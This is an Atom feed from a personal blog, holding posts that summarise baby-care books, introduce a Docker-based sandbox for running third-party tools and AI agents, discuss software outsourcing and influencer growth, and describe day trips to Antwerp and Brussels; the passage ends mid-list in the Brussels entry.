<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en-US"><generator uri="https://gohugo.io/" version="0.145.0">Hugo</generator><title type="html">ashishb.net</title><link href="https://ashishb.net/atom.xml" rel="self" type="application/atom+xml" title="atom"/><link href="https://ashishb.net/" rel="alternate" type="text/html" title="html"/><link href="https://ashishb.net/index.json" rel="alternate" type="application/json" title="json"/><link href="https://ashishb.net/rss.xml" rel="alternate" type="application/rss+xml" title="rss"/><updated>2026-04-11T09:06:23+00:00</updated><id>https://ashishb.net/atom.xml</id><entry><title type="html">Book Summary: The Discontented Little Baby Book by Pamela Douglas</title><link href="https://ashishb.net/book-summaries/discontented-little-baby-book/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/book-summaries/natural-baby-sleep-solution/?utm_source=atom_feed" rel="related" type="text/html" title="Book summary: The Natural Baby Sleep Solution by Polly Moore"/><link href="https://ashishb.net/parenting/pregnancy/?utm_source=atom_feed" rel="related" type="text/html" title="Pregnancy"/><link href="https://ashishb.net/parenting/genes-and-gender/?utm_source=atom_feed" rel="related" type="text/html" title="Family Ties in Your DNA: Some relatives are closer than others"/><link href="https://ashishb.net/book-summary/one-up-on-wall-street/?utm_source=atom_feed" rel="related" type="text/html" title="Book Summary: One up on Wall Street by Peter Lynch"/><link href="https://ashishb.net/book-summary/sick-societies/?utm_source=atom_feed" rel="related" type="text/html" title="Book summary: Sick Societies by Robert B. Edgerton"/><id>https://ashishb.net/book-summaries/discontented-little-baby-book/</id><author><name>Ashish Bhatia</name></author><published>2026-04-11T09:00:03+00:00</published><updated>2026-04-11T09:00:03+00:00</updated><content type="html"><![CDATA[<p>The   
    
    
<a href="https://amzn.to/4lddZ3T?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">book</a> talks about various issues that make babies unhappy.
It is a nice (though not great) read for first-time parents.</p>
<ul>
<li>A baby can naturally fall asleep. Hunger for food (milk) and hunger for sensations prevent that.</li>
<li>Massages are good, but even carrying a baby in a body-hugging baby carrier is a form of massage.</li>
<li>Steady walking with a baby in your arms is one of the best ways to calm down a distressed baby.</li>
<li>Sleeping on the back has increased the incidence of head flattening.</li>
<li>Due to sleeping on the back, the tummy time is even more important. Carrying a baby over your arm provides
both tummy time and an amazing sensory experience for the baby.</li>
<li>Beyond 10 hours a day, any more time spent with the baby has diminishing returns.</li>
<li>Using a baby carrier while doing chores also exposes babies to the sensory experience of the house.</li>
<li>White noise machines are not a good idea for babies during sleep.</li>
<li>The best place for babies to fall asleep is near their parents. During the daytime as well as at night.</li>
<li>Induced burping is a bad idea. It has little upside, and it interferes with sleep.</li>
<li>If the baby fails to breastfeed properly in the first few days, it can create negative associations
that are much harder to fix later on.</li>
<li>A baby might cry a lot due to a lack of good gut bacteria.
One can fix it by adding   
    
    
<a href="https://www.webmd.com/vitamins/ai/ingredientmono-1684/limosilactobacillus-reuteri?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Lactobacillus reuteri</a> to the baby&rsquo;s diet.</li>
<li>Overprescription of anti-acid medications leads to suppressed acid production, leading to allergies in the long-run.</li>
<li>  
    
    
<a href="https://amzn.to/4rlsnbr?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Infacol</a> is no better than a placebo in treating colic.</li>
<li>In the initial days, the baby must gain ~200 grams per week (even 500 grams per week has been seen).</li>
<li>Cue-based care creates a language of cues between the baby and the parents.</li>
<li>For the first 16 weeks, babies make inconsolable cries as the amygdala (emotion center of the brain) is not fully developed. As the circuitry matures, the cries go down.</li>
<li>Boys are usually less developmentally mature at birth than girls.</li>
</ul>
]]></content><category scheme="https://ashishb.net/category/book-summaries" term="book-summaries" label="book-summaries"/><category scheme="https://ashishb.net/category/parenting" term="parenting" label="parenting"/></entry><entry><title type="html">Introducing Amazing Sandbox - run third-party tools and AI agents securely on your machine</title><link href="https://ashishb.net/programming/amazing-sandbox/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/programming/run-tools-inside-docker/?utm_source=atom_feed" rel="related" type="text/html" title="To keep your machine secure, run third-party tools inside Docker"/><link href="https://ashishb.net/programming/using-python-uv-inside-docker/?utm_source=atom_feed" rel="related" type="text/html" title="Best practices for using Python &amp; uv inside Docker"/><link href="https://ashishb.net/programming/hermetic-docker-images-with-hugging-face-machine-learning-models/?utm_source=atom_feed" rel="related" type="text/html" title="Hermetic docker images with Hugging Face machine learning models"/><link href="https://ashishb.net/programming/using-python-poetry-inside-docker/?utm_source=atom_feed" rel="related" type="text/html" title="Best practices for using Python &amp; Poetry inside Docker"/><link href="https://ashishb.net/programming/how-to-deploy-docker-images-on-microsoft-azure/?utm_source=atom_feed" rel="related" type="text/html" title="How to deploy Docker images on Microsoft Azure"/><id>https://ashishb.net/programming/amazing-sandbox/</id><author><name>Ashish Bhatia</name></author><published>2026-04-04T02:00:08+00:00</published><updated>2026-04-04T02:00:08+00:00</updated><content type="html"><![CDATA[<blockquote>Sandbox your tools before they harm you</blockquote><p>  
    
    
<a href="https://github.com/ashishb/amazing-sandbox?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener"><img alt="GitHub Repo stars" loading="lazy" src="https://img.shields.io/github/stars/ashishb/amazing-sandbox?style=flat&logo=github&label=Amazing%20Sandbox"></a></p>
<h2 id="background">Background</h2>
<p>I have written about this 
<a href="/programming/run-tools-inside-docker/">before</a>, software engineers and now,
AI agent users are running a lot of third-party tools on their machines.</p>
<p>These tools can be helpful, but they do get compromised.</p>
<ol>
<li>Amazon shipped malicious   
    
    
<a href="https://aws.amazon.com/security/security-bulletins/AWS-2025-015/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Amazon Q</a></li>
<li>Trivy, a security analyzer, got compromised and served   
    
    
<a href="https://socket.dev/blog/trivy-under-attack-again-github-actions-compromise?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">malicious versions</a> which lead to backdooring of   
    
    
<a href="https://snyk.io/blog/poisoned-security-scanner-backdooring-litellm/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">LiteLLM</a> and   
    
    
<a href="https://techcrunch.com/2026/03/31/mercor-says-it-was-hit-by-cyberattack-tied-to-compromise-of-open-source-litellm-project/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Mercor</a>.</li>
<li>A meme   
    
    
<a href="https://www.scworld.com/news/npm-registry-prank-leaves-developers-unable-to-unpublish-packages?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">NPM package</a> created a denial-of-service attack</li>
</ol>
<h2 id="consider-your-home">Consider your home</h2>
<p>When you invite a friend over to your home, they have access to your living room and may be able to use a restroom.
They don&rsquo;t get to visit your bedroom, your home office, or your storage room.</p>
<p>Further, once they leave, they cannot get back in without your permission.</p>
<p>That&rsquo;s not how we install tools when we do <code>brew install trivy</code>, we are giving permanent root access
on our machine to the <code>trivy</code> tool, the tool author, and anyone who ever compromises the tool&rsquo;s source code on GitHub via a
  
    
    
<a href="https://www.wiz.io/blog/github-action-tj-actions-changed-files-supply-chain-attack-cve-2025-30066?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">compromised GitHub Action</a>.</p>
<p>That&rsquo;s not how it should work.
And that&rsquo;s exactly what amazing-sandbox solves for.</p>
<p>I have been using this setup for almost a year now, and I am confident about making it public.</p>
<h2 id="amazing-sandbox">Amazing Sandbox</h2>
<p>Rather than running <code>trivy</code> directly on your machine, you should run it

<a href="/programming/run-tools-inside-docker/">inside Docker</a>.</p>
<p>Running it inside Docker, does require figuring out mounting volumes and other similar details.
Further, you want to give the illusion of a rich interactive shell, so that the tool produces
a rich output, including   
    
    
<a href="https://gist.github.com/egmontkob/eb114294efbcd5adb1944c9f3cb5feda?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">hyperlinks</a>
in the output.</p>
<p>And that&rsquo;s where   
    
    
<a href="https://github.com/ashishb/amazing-sandbox?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Amazing Sandbox</a> comes in.</p>
<p>It can run any tool inside Docker transparently.
Further, for AI agents like Gemini CLI and Claude Codex, it automatically mounts the corresponding settings directory
from your home directory, so it acts as if it is running on your local machine, without the fear
that it can   
    
    
<a href="https://www.theregister.com/2025/12/01/google_antigravity_wipes_d_drive/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">wipe</a> of your disk.</p>
<p>Here is how I   
    
    
<a href="https://github.com/ashishb/dotfiles/blob/master/_local_bin/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">use it</a></p>
<ol>
<li>  
    
    
<a href="https://github.com/ashishb/dotfiles/blob/master/_local_bin/fastlane?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener"><code>asb gem exec fastlane</code></a> -
prevents Fastlane, a tool for mobile app development, from accessing anything outside the current directory.
while still allowing it to publish my 
<a href="/tech/musicsync-audio-player/">MusicSync app</a> to Google Play Store.</li>
<li>  
    
    
<a href="https://github.com/ashishb/dotfiles/blob/master/_local_bin/htmlhint?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener"><code>asb npx htmlhint</code></a> -
prevents htmlhint, a tool for linting HTML files, from accessing anything outside the current directory.
while still allowing it to lint my HTML files.</li>
<li>  
    
    
<a href="https://github.com/ashishb/dotfiles/blob/master/_local_bin/yamllint?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener"><code>asb -n uvx yamllint</code></a> -
prevents yamllint, a tool for linting YAML files, from accessing anything outside the current directory or even the Internet.
while still allowing it to lint my YAML files.</li>
</ol>
<p>You can see   
    
    
<a href="https://github.com/ashishb/dotfiles/blob/master/_local_bin/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">more examples</a> in my dotfiles.
Or see the description and source code of the   
    
    
<a href="https://github.com/ashishb/amazing-sandbox/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">project</a>.</p>
]]></content><category scheme="https://ashishb.net/category/programming" term="programming" label="programming"/><category scheme="https://ashishb.net/category/security" term="security" label="security"/><category scheme="https://ashishb.net/tag/docker" term="docker" label="docker"/><category scheme="https://ashishb.net/tag/security" term="security" label="security"/></entry><entry><title type="html">Why software outsourcing gets a bad reputation?</title><link href="https://ashishb.net/tech/outsourcing/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/tech/journey-of-online-influencers/?utm_source=atom_feed" rel="related" type="text/html" title="Journey of online influencers"/><link href="https://ashishb.net/tech/shortcuts/?utm_source=atom_feed" rel="related" type="text/html" title="Shortcuts - when we love them and when we don't"/><link href="https://ashishb.net/tech/github-stars/?utm_source=atom_feed" rel="related" type="text/html" title="The real lock-in in GitHub is not the code, but the stars"/><link href="https://ashishb.net/tech/google-vs-perplexity/?utm_source=atom_feed" rel="related" type="text/html" title="Google Search is losing to Perplexity"/><link href="https://ashishb.net/tech/ci-is-not-cd/?utm_source=atom_feed" rel="related" type="text/html" title="Continuous integration ≠ Continuous delivery"/><id>https://ashishb.net/tech/outsourcing/</id><author><name>Ashish Bhatia</name></author><published>2026-03-14T01:00:08+00:00</published><updated>2026-03-14T01:00:08+00:00</updated><content type="html"><![CDATA[<blockquote>Few reasons which outsourcing industry gets a bad reputation</blockquote><p>We outsource chores all the time.<br>
We outsource cooking to restaurants.<br>
We outsource travel planning to   
    
    
<a href="https://guides.ashishb.net/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">travel guides</a>.<br>
We outsource oil changes to auto mechanics.<br>
But software outsourcing is unique in that it often gets a bad reputation and causes a loss of expectations.</p>
<p>I believe there are a few reasons why software outsourcing gets such a bad reputation.</p>
<h2 id="lack-of-discernment">Lack of discernment</h2>
<p>A 
<a href="/travel/cusco-peru/">Peruvian restaurant</a> would refuse to serve you 
<a href="/misc/indians-and-food/">Indian food</a>.
They might suggest some good vegetarian options, but would not cook Paneer Tikka for you.</p>
<p>A Honda car repair shop would refuse to fix your McLaren.</p>
<p>A travel guide focusing on 
<a href="/tag/central-america/">Central America</a> would politely decline if you ask him to plan a trip to 
<a href="/tag/europe/">Europe</a>. At best, he might recommend someone else who specializes in that region.</p>
<p>But when it comes to software outsourcing, you will never get a rejection.<br>
You will get a quote regardless of what tech stack you ask for.<br>
Nobody wants to lose an opportunity, nobody wants to say no in software outsourcing.<br>
They might be based in India, Latin America, Eastern Europe, or the United States.<br>
Since every other vendor says yes, nobody wants to say no.</p>
<h2 id="lack-of-long-term-reputation-harm">Lack of long-term reputation harm</h2>
<p>One-star reviews on Yelp destroy restaurants&rsquo; business.<br>
One-star reviews on TripAdvisor force tour guides to reduce their prices.<br>
One-star reviews on Google Maps are a death knell for auto mechanics.</p>
<p>But what if you weren&rsquo;t capable of or didn&rsquo;t deliver to your client?<br>
Well, nobody will ever know.<br>
Further, since all clients are different even if you serve one well, others might still get disappointed because the task might be radically different.</p>
<h2 id="task-ambiguity">Task ambiguity</h2>
<p>Software outsourcing is done for a variety of reasons.<br>
Sometimes, it is to save money.<br>
Sometimes, it is to deliver faster.<br>
Sometimes, it is because it is hard to hire people to wants to work on an esoteric 
<a href="/tech/engineering-stack/">tech stack</a>.<br>
Sometimes, the tasks are clear-cut and narrow.<br>
Sometimes, the tasks are ambiguous and might even evolve along the way.<br>
Sometimes, the hiring is for a project.<br>
Sometimes, the hiring is to fill a vacant role.</p>
<p>All of these require radically different types of hires.<br>
No one mentions this upfront.<br>
So, the two sides play an ambiguous game of trying to discern what the other side wants.</p>
<h2 id="conclusion">Conclusion</h2>
<p>The truth has to start from the client.<br>
They have to make the task as unambiguous as they can.<br>
However, if you, as a client, come across a vendor who says yes to everything, just say no to them.<br>
Further, if possible, hire for a month first, and extend only if that goes well.</p>
]]></content><category scheme="https://ashishb.net/category/tech-thoughts" term="tech-thoughts" label="tech-thoughts"/><category scheme="https://ashishb.net/tag/outsourcing" term="outsourcing" label="outsourcing"/></entry><entry><title type="html">Book summary: The Natural Baby Sleep Solution by Polly Moore</title><link href="https://ashishb.net/book-summaries/natural-baby-sleep-solution/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/book-summaries/discontented-little-baby-book/?utm_source=atom_feed" rel="related" type="text/html" title="Book Summary: The Discontented Little Baby Book by Pamela Douglas"/><link href="https://ashishb.net/parenting/pregnancy/?utm_source=atom_feed" rel="related" type="text/html" title="Pregnancy"/><link href="https://ashishb.net/parenting/genes-and-gender/?utm_source=atom_feed" rel="related" type="text/html" title="Family Ties in Your DNA: Some relatives are closer than others"/><link href="https://ashishb.net/book-summary/one-up-on-wall-street/?utm_source=atom_feed" rel="related" type="text/html" title="Book Summary: One up on Wall Street by Peter Lynch"/><link href="https://ashishb.net/book-summary/sick-societies/?utm_source=atom_feed" rel="related" type="text/html" title="Book summary: Sick Societies by Robert B. Edgerton"/><id>https://ashishb.net/book-summaries/natural-baby-sleep-solution/</id><author><name>Ashish Bhatia</name></author><published>2026-03-07T08:00:03+00:00</published><updated>2026-03-07T08:00:03+00:00</updated><content type="html"><![CDATA[<p>  
    
    
<a href="https://amzn.to/4a48LDG?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">The natural baby sleep solution</a> is an interesting book on the baby&rsquo;s sleep patterns.</p>
<ul>
<li>BRAC, Basic Rest and Activity cycle of 90-120 minutes decides the sleep and wake times for everyone.
This is especially useful for babies, who would be active for about 90 minutes and then need to
sleep or slow down.</li>
<li>Too much stimulation near sleep time can delay sleep and have adverse effects on cognitive
development of the baby.</li>
<li>Unlike adults, babies cannot easily fall asleep on their own till the age of 6 months.</li>
<li>6 to 8 months is the best time to sleep train a baby with either
  
    
    
<a href="https://www.sleepfoundation.org/baby-sleep/ferber-method?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Feber method</a> or
  
    
    
<a href="https://health.clevelandclinic.org/cry-it-out-method?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">cry-it-out method</a>,
which involves letting the baby cry for a certain amount of time before comforting them.</li>
<li>The suprachiasmatic nucleus (SCN) regulates all body clocks, including the sleep-wake cycle and
even hormonal cycles in women.</li>
<li>NAPS plan - Note the time baby wakes up. Add 90 minutes to it. Play/feed with the baby.
Soothe the baby at 90 minutes to make him fall asleep.</li>
<li>Use red bulbs in the baby&rsquo;s room to avoid stimulating them with blue light.</li>
<li>If you feed the baby whenever he wakes up at night.
Then the baby would get conditioned to food at that time.
And then it would be impossible for the baby to sleep without food at that time.
A 6+ month-old baby should be able to sleep through the night without food.
They should get the calories they need during the day.</li>
<li>A baby who is being put to sleep in the middle of the alertness cycle will not sleep regardless of
how sleepy he might be.</li>
<li>Some babies are early morning larks. Some are night owls. Usually, babies are larks till their teenage years.</li>
<li>An 8-9-month-old baby might stand up in the crib. The novelty of standing would die down in a few weeks, though.</li>
<li>The most important lesson is that the baby always functions according to 90-minutes cycle when awake.
For the first 3-6 months, the baby needs a nap every 90 minutes.
For the next 6-12 months, the baby needs a nap every 180 or 270 minutes.
How long they sleep will vary from child to child, though.</li>
</ul>
]]></content><category scheme="https://ashishb.net/category/book-summaries" term="book-summaries" label="book-summaries"/><category scheme="https://ashishb.net/category/parenting" term="parenting" label="parenting"/></entry><entry><title type="html">A day in Antwerp, Belgium</title><link href="https://ashishb.net/travel/belgium/antwerp/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/travel/belgium/brussels/?utm_source=atom_feed" rel="related" type="text/html" title="Two days in Brussels, Belgium"/><link href="https://ashishb.net/travel/france/paris/?utm_source=atom_feed" rel="related" type="text/html" title="Three days in overhyped Paris"/><link href="https://ashishb.net/travel/warsaw-poland/?utm_source=atom_feed" rel="related" type="text/html" title="A short stay at Warsaw, Poland"/><link href="https://ashishb.net/travel/vilnius-lithuania/?utm_source=atom_feed" rel="related" type="text/html" title="Two days in Vilnius, Lithuania"/><link href="https://ashishb.net/travel/riga-latvia/?utm_source=atom_feed" rel="related" type="text/html" title="Two days in Riga, Latvia"/><id>https://ashishb.net/travel/belgium/antwerp/</id><author><name>Ashish Bhatia</name></author><published>2026-03-01T23:00:57+00:00</published><updated>2026-03-01T23:00:57+00:00</updated><content type="html"><![CDATA[<blockquote>A day trip to Antwerp, Belgium</blockquote><p>Antwerp is easily accessible from Brussels in about ~1 hour by 
<a href="/travel/public-transport-guide/">train</a> or ~40 minutes by bus.
Compared to 
<a href="/travel/belgium/brussels/">Brussels</a>, Antwerp is small and charming.</p>
<p>I would recommend starting the day with
  
    
    
<a href="https://www.legendstours.be/legends-of-antwerp-free-walking-tour?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Legends of Antwerp tour</a>.
One great thing about this tour is that you get to see both a church and a museum for a short time for free.
Both of these have entry tickets otherwise.</p>
<p>This statue of a man throwing the hand of a giant (who used to demand tribute and punish sailors if they didn&rsquo;t pay)
into the sea gave the name to Antwerp.
&ldquo;Hand werpen&rdquo; means &ldquo;to throw a hand&rdquo; in Dutch.</p>
<figure class="align-center ">
    
    <a href="antwerp-statue.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="antwerp-statue.jpg#center"
         alt="Antwerp statue" width="900"/> </a><figcaption>
            Antwerp statue that gave Antwerp its name
        </figcaption>
</figure>

<p>Under the Scheldt River, there is a tunnel for pedestrians and cyclists.
It is the only tunnel where I have seen a wooden escalator.</p>
<figure class="align-center ">
    
    <a href="antwerp-wooden-accelerator.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="antwerp-wooden-accelerator.jpg#center"
         alt="Wooden escalator in the Scheldt river tunnel" width="900"/> </a><figcaption>
            Wooden escalator in the Scheldt river tunnel
        </figcaption>
</figure>

<p>You will also see the statue of Lange Wapper, a giant who used to scare drunk people by growing in size.</p>
<figure class="align-center ">
    
    <a href="antwerp-lange-wapper-statue.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="antwerp-lange-wapper-statue.jpg#center"
         alt="Lange Wapper statue in Antwerp" width="900"/> </a><figcaption>
            Lange Wapper statue in Antwerp
        </figcaption>
</figure>

<p>And it is hard to miss the Nello &amp; Patrasche Statue near the Cathedral of Our Lady.
It is from a British novel,   
    
    
<a href="https://ia600109.us.archive.org/19/items/dogofflanders00ouid_1/dogofflanders00ouid_1.pdf?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">A Dog of Flanders</a>, which, forgotten in Belgium, is really popular in 
<a href="/travel/tokyo-japan/">Japan</a>.</p>
<figure class="align-center ">
    
    <a href="antwerp-nello-patrasche-statue.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="antwerp-nello-patrasche-statue.jpg#center"
         alt="Nello &amp; Patrasche Statue in Antwerp" width="900"/> </a><figcaption>
            Nello &amp; Patrasche Statue in Antwerp
        </figcaption>
</figure>

<p>I would recommend taking the river ferry from Antwerp to Lillo.
It costs 4 euros (one-way) and a 6-euro round trip.
The one-way journey is about 1 hour.
And you see great views on the Scheldt River along the way.</p>
<figure class="align-center ">
    
    <a href="antwerp-ferry.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="antwerp-ferry.jpg#center"
         alt="Ferry on the Scheldt river in Antwerp" width="900"/> </a><figcaption>
            Ferry on the Scheldt river in Antwerp
        </figcaption>
</figure>

<p>I did a small hike in Lillo.
Spending 30 minutes to an hour is worth it here.</p>
<figure class="align-center ">
    
    <a href="lillo-hike.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="lillo-hike.jpg#center"
         alt="Hike in Lillo near Antwerp" width="900"/> </a><figcaption>
            Hike in Lillo near Antwerp
        </figcaption>
</figure>

<p>Note</p>
<ol>
<li>  
    
    
<a href="https://skbcwebsite.odoo.com/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Eurostar Supermarket</a> has great Indian food and groceries. It is run by people from Nepal.</li>
<li>A day or two is more than enough for Antwerp.</li>
</ol>
]]></content><category scheme="https://ashishb.net/category/travel" term="travel" label="travel"/><category scheme="https://ashishb.net/tag/belgium" term="belgium" label="belgium"/><category scheme="https://ashishb.net/tag/europe" term="europe" label="europe"/></entry><entry><title type="html">Journey of online influencers</title><link href="https://ashishb.net/tech/journey-of-online-influencers/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/tech/outsourcing/?utm_source=atom_feed" rel="related" type="text/html" title="Why software outsourcing gets a bad reputation?"/><link href="https://ashishb.net/tech/shortcuts/?utm_source=atom_feed" rel="related" type="text/html" title="Shortcuts - when we love them and when we don't"/><link href="https://ashishb.net/tech/github-stars/?utm_source=atom_feed" rel="related" type="text/html" title="The real lock-in in GitHub is not the code, but the stars"/><link href="https://ashishb.net/tech/google-vs-perplexity/?utm_source=atom_feed" rel="related" type="text/html" title="Google Search is losing to Perplexity"/><link href="https://ashishb.net/tech/ci-is-not-cd/?utm_source=atom_feed" rel="related" type="text/html" title="Continuous integration ≠ Continuous delivery"/><id>https://ashishb.net/tech/journey-of-online-influencers/</id><author><name>Ashish Bhatia</name></author><published>2026-02-14T16:00:29+00:00</published><updated>2026-02-14T16:00:29+00:00</updated><content type="html"><![CDATA[<blockquote>Learn how to grow your online presence and monetize effectively with podcasting, newsletters, communities, and more. Discover key strategies to build your audience!</blockquote><p>The standard journey of influencers</p>
<ol>
<li>Start with podcasting or video blogging (YouTube/TikTok)
<ol>
<li>It is hard to build an audience when you don&rsquo;t have one</li>
<li>Start with interviewing other podcasters/creators to bring yourself to the front of their audience</li>
<li>Alternatively, build an audience via engaging (tweet replies) high-value customers or by catching the trending topics</li>
</ol>
</li>
<li>Build a one-way connection with your audience via newsletter on email/WhatsApp
<ol>
<li>The goal is to connect directly with your followers and not be dependent on social media algorithms for too long</li>
</ol>
</li>
<li>Build a community via Facebook/Slack/Telegram/Circle groups
<ol>
<li>Once you have a critical number of connections, invite them to a community</li>
<li>In the initial phase, maintaining and running a community requires work</li>
<li>Eventually, the community becomes self-sustaining</li>
</ol>
</li>
<li>Monetize
<ol>
<li>Selling branded merchandise</li>
<li>Large-ticket affiliates like insurance</li>
<li>Paid consultation calls</li>
<li>Fan funding (Patreon) for exclusive content access</li>
<li>Organizing a Conference</li>
</ol>
</li>
</ol>
]]></content><category scheme="https://ashishb.net/category/tech-thoughts" term="tech-thoughts" label="tech-thoughts"/></entry><entry><title type="html">Two days in Brussels, Belgium</title><link href="https://ashishb.net/travel/belgium/brussels/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/travel/belgium/antwerp/?utm_source=atom_feed" rel="related" type="text/html" title="A day in Antwerp, Belgium"/><link href="https://ashishb.net/travel/france/paris/?utm_source=atom_feed" rel="related" type="text/html" title="Three days in overhyped Paris"/><link href="https://ashishb.net/travel/warsaw-poland/?utm_source=atom_feed" rel="related" type="text/html" title="A short stay at Warsaw, Poland"/><link href="https://ashishb.net/travel/vilnius-lithuania/?utm_source=atom_feed" rel="related" type="text/html" title="Two days in Vilnius, Lithuania"/><link href="https://ashishb.net/travel/riga-latvia/?utm_source=atom_feed" rel="related" type="text/html" title="Two days in Riga, Latvia"/><id>https://ashishb.net/travel/belgium/brussels/</id><author><name>Ashish Bhatia</name></author><published>2026-02-07T01:00:57+00:00</published><updated>2026-02-07T01:00:57+00:00</updated><content type="html"><![CDATA[<p>Brussels is a charming European-style city with cobblestone streets, historic architecture, and a rich cultural heritage.
<figure class="align-center ">
    
    <a href="brussels-1.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="brussels-1.jpg#center"
         alt="Brussels streets" width="900"/> </a><figcaption>
            Brussels
        </figcaption>
</figure>
.</p>
<p>I would recommend doing a day-trip to Brussels if you are visiting 
<a href="/travel/france/paris/">Paris</a> or 
<a href="/travel/netherlands/amsterdam/">Amsterdam</a>.</p>
<p>Every street/area in Brussels has two names - one in French and one in Dutch.
Sometimes, they are not even similar.</p>
<p>The Grand Palace (Grote Markt) is the central square of Brussels and a UNESCO World Heritage site.</p>
<figure class="align-center ">
    
    <a href="brussels-grand-palace.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="brussels-grand-palace.jpg#center"
         alt="Brussels Grand Palace" width="900"/> </a><figcaption>
            Brussels
        </figcaption>
</figure>

<p>I would highly recommend starting with a   
    
    
<a href="https://www.neweuropetours.eu/brussels-walking-tours/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">walking tour</a>.</p>
<p>You will get to see major attractions of the city.</p>
<figure class="align-center ">
    
    <a href="brussels-pissing-statue.gif" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="brussels-pissing-statue.gif#center"
         alt="Brussels Pissing Statue" width="900"/> </a><figcaption>
            Brussels Pissing Statue
        </figcaption>
</figure>

<p>The   
    
    
<a href="https://visiting.europarl.europa.eu/en/visitor-offer/brussels?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">European Parliamentarium tour</a> is free,
but you have to book it in advance.
The audio guide, which they provide functions only half the time, though.
It takes about 90 minutes to do the complete tour.
However, the exhibitions are mediocre at best.</p>
<figure class="align-center ">
    
    <a href="brussels-mont-des-arts.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="brussels-mont-des-arts.jpg#center"
         alt="Brussels Mont Des Arts" width="900"/> </a><figcaption>
            Brussels Mont Des Arts
        </figcaption>
</figure>

<p>Do check out the rooftop of   
    
    
<a href="https://www.belgianbeerworld.be/en?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Belgian Beer world</a>.
There is no need to purchase a ticket to go to the rooftop.
The ticket is only for the museum.</p>
<figure class="align-center ">
    
    <a href="belgian-beer-world-rooftop.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="belgian-beer-world-rooftop.jpg#center"
         alt="View from the Belgian Beer world rooftop" width="900"/> </a><figcaption>
            View from the Belgian Beer world rooftop
        </figcaption>
</figure>

<p>Note</p>
<ol>
<li>As with most of Europe, Carrefour and Carrefour Express are the best for buying refreshments and snacks.
The prices are 3-4x higher everywhere else.</li>
<li>Credit cards are widely accepted.</li>
<li>  
    
    
<a href="https://www.kbr.be/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">National Royal Library</a> is pretty majestic and has free high-quality bathrooms as well.</li>
<li>The most famous bakery for Belgian chocolates is   
    
    
<a href="https://maisondandoy.com/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Maison Dandoy</a>.</li>
<li>For those who prefer Vegan Waffles, go for   
    
    
